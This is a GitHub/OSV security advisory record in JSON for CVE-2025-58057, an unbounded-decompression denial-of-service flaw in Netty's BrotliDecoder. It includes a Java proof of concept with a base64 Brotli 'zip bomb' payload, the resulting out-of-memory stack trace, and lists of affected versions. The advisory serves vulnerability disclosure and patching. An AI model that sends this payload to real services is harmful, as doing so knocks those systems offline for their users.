{"id":"GHSA-3p8m-j85q-pgmj","summary":"Netty's decoders vulnerable to DoS via zip bomb style attack","details":"### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.","aliases":["CVE-2025-58057"],"modified":"2026-07-17T21:15:35.190733607Z","published":"2025-09-03T18:00:55Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2025-09-03T18:00:55Z","nvd_published_at":"2025-09-04T10:42:32Z","cwe_ids":["CWE-409"]},"references":[{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58057"},{"type":"WEB","url":"https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"affected":[{"package":{"name":"io.netty:netty-codec-compression","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec-compression"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Alpha1"},{"fixed":"4.2.5.Final"}]}],"versions":["4.2.0.Alpha3","4.2.0.Alpha4","4.2.0.Alpha5","4.2.0.Beta1","4.2.0.Final","4.2.0.RC1","4.2.0.RC2","4.2.0.RC3","4.2.0.RC4","4.2.1.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-3p8m-j85q-pgmj/GHSA-3p8m-j85q-pgmj.json"}},{"package":{"name":"io.netty:netty-codec","ecosystem":"Maven","purl":"pkg:maven/io.netty/netty-codec"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.125.Final"}]}],"versions":["4.0.0.Alpha1","4.0.0.Alpha2","4.0.0.Alpha3","4.0.0.Alpha4","4.0.0.Alpha5","4.0.0.Alpha6","4.0.0.Alpha7","4.0.0.Alpha8","4.0.0.Beta1","4.0.0.Beta2","4.0.0.Beta3","4.0.0.CR1","4.0.0.CR2","4.0.0.CR3","4.0.0.CR4","4.0.0.CR5","4.0.0.CR6","4.0.0.CR7","4.0.0.CR8","4.0.0.CR9","4.0.0.Final","4.0.1.Final","4.0.10.Final","4.0.11.Final","4.0.12.Final","4.0.13.Final","4.0.14.Beta1","4.0.14.Final","4.0.15.Final","4.0.16.Final","4.0.17.Final","4.0.18.Final","4.0.19.Final","4.0.2.Final","4.0.20.Final","4.0.21.Final","4.0.22.Final","4.0.23.Final","4.0.24.Final","4.0.25.Final","4.0.26.Final","4.0.27.Final","4.0.28.Final","4.0.29.Final","4.0.3.Final","4.0.30.Final","4.0.31.Final","4.0.32.Final","4.0.33.Final","4.0.34.Final","4.0.35.Final","4.0.36.Final","4.0.37.Final","4.0.38.Final","4.0.39.Final","4.0.4.Final","4.0.40.Final","4.0.41.Final","4.0.42.Final","4.0.43.Final","4.0.44.Final","4.0.45.Final","4.0.46.Final","4.0.47.Final","4.0.48.Final","4.0.49.Final","4.0.5.Final","4.0.50.Final","4.0.51.Final","4.0.52.Final","4.0.53.Final","4.0.54.Final","4.0.55.Final","4.0.56.Final","4.0.6.Final","4.0.7.Final","4.0.8.Final","4.0.9.Final","4.1.0.Beta1","4.1.0.Beta2","4.1.0.Beta3","4.1.0.Beta4","4.1.0.Beta5","4.1.0.Beta6","4.1.0.Beta7","4.1.0.Beta8","4.1.0.CR1","4.1.0.CR2","4.1.0.CR3","4.1.0.CR4","4.1.0.CR5","4.1.0.CR6","4.1.0.CR7","4.1.0.Final","4.1.1.Final","4.1.10.Final","4.1.100.Final","4.1.101.Final","4.1.102.Final","4.1.103.Final","4.1.104.Final","4.1.105.Final","4.1.106.Final","4.1.107.Final","4.1.108.Final","4.1.109.Final","4.1.11.Final","4.1.110.Final","4.1.111.Final","4.1.112.Final","4.1.113.Final","4.1.114.Final","4.1.115.Final","4.1.116.Final","4.1.117.Final","4.1.118.Final","4.1.119.Final","4.1.12.Final","4.1.120.Final","4.1.121.Final","4.1.122.Final","4.1.123.Final","4.1.124.Final","4.1.13.Final","4.1.14.Final","4.1.15.Final","4.1.16.Final","4.1.17.Final","4.1.18.Final","4.1.19.Final","4.1.2.Final","4.1.20.Final","4.1.21.Final","4.1.22.Final","4.1.23.Final","4.1.24.Final","4.1.25.Final","4.1.26.Final","4.1.27.Final","4.1.28.Final","4.1.29.Final","4.1.3.Final","4.1.30.Final","4.1.31.Final","4.1.32.Final","4.1.33.Final","4.1.34.Final","4.1.35.Final","4.1.36.Final","4.1.37.Final","4.1.38.Final","4.1.39.Final","4.1.4.Final","4.1.40.Final","4.1.41.Final","4.1.42.Final","4.1.43.Final","4.1.44.Final","4.1.45.Final","4.1.46.Final","4.1.47.Final","4.1.48.Final","4.1.49.Final","4.1.5.Final","4.1.50.Final","4.1.51.Final","4.1.52.Final","4.1.53.Final","4.1.54.Final","4.1.55.Final","4.1.56.Final","4.1.57.Final","4.1.58.Final","4.1.59.Final","4.1.6.Final","4.1.60.Final","4.1.61.Final","4.1.62.Final","4.1.63.Final","4.1.64.Final","4.1.65.Final","4.1.66.Final","4.1.67.Final","4.1.68.Final","4.1.69.Final","4.1.7.Final","4.1.70.Final","4.1.71.Final","4.1.72.Final","4.1.73.Final","4.1.74.Final","4.1.75.Final","4.1.76.Final","4.1.77.Final","4.1.78.Final","4.1.79.Final","4.1.8.Final","4.1.80.Final","4.1.81.Final","4.1.82.Final","4.1.83.Final","4.1.84.Final","4.1.85.Final","4.1.86.Final","4.1.87.Final","4.1.88.Final","4.1.89.Final","4.1.9.Final","4.1.90.Final","4.1.91.Final","4.1.92.Final","4.1.93.Final","4.1.94.Final","4.1.95.Final","4.1.96.Final","4.1.97.Final","4.1.98.Final","4.1.99.Final"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-3p8m-j85q-pgmj/GHSA-3p8m-j85q-pgmj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}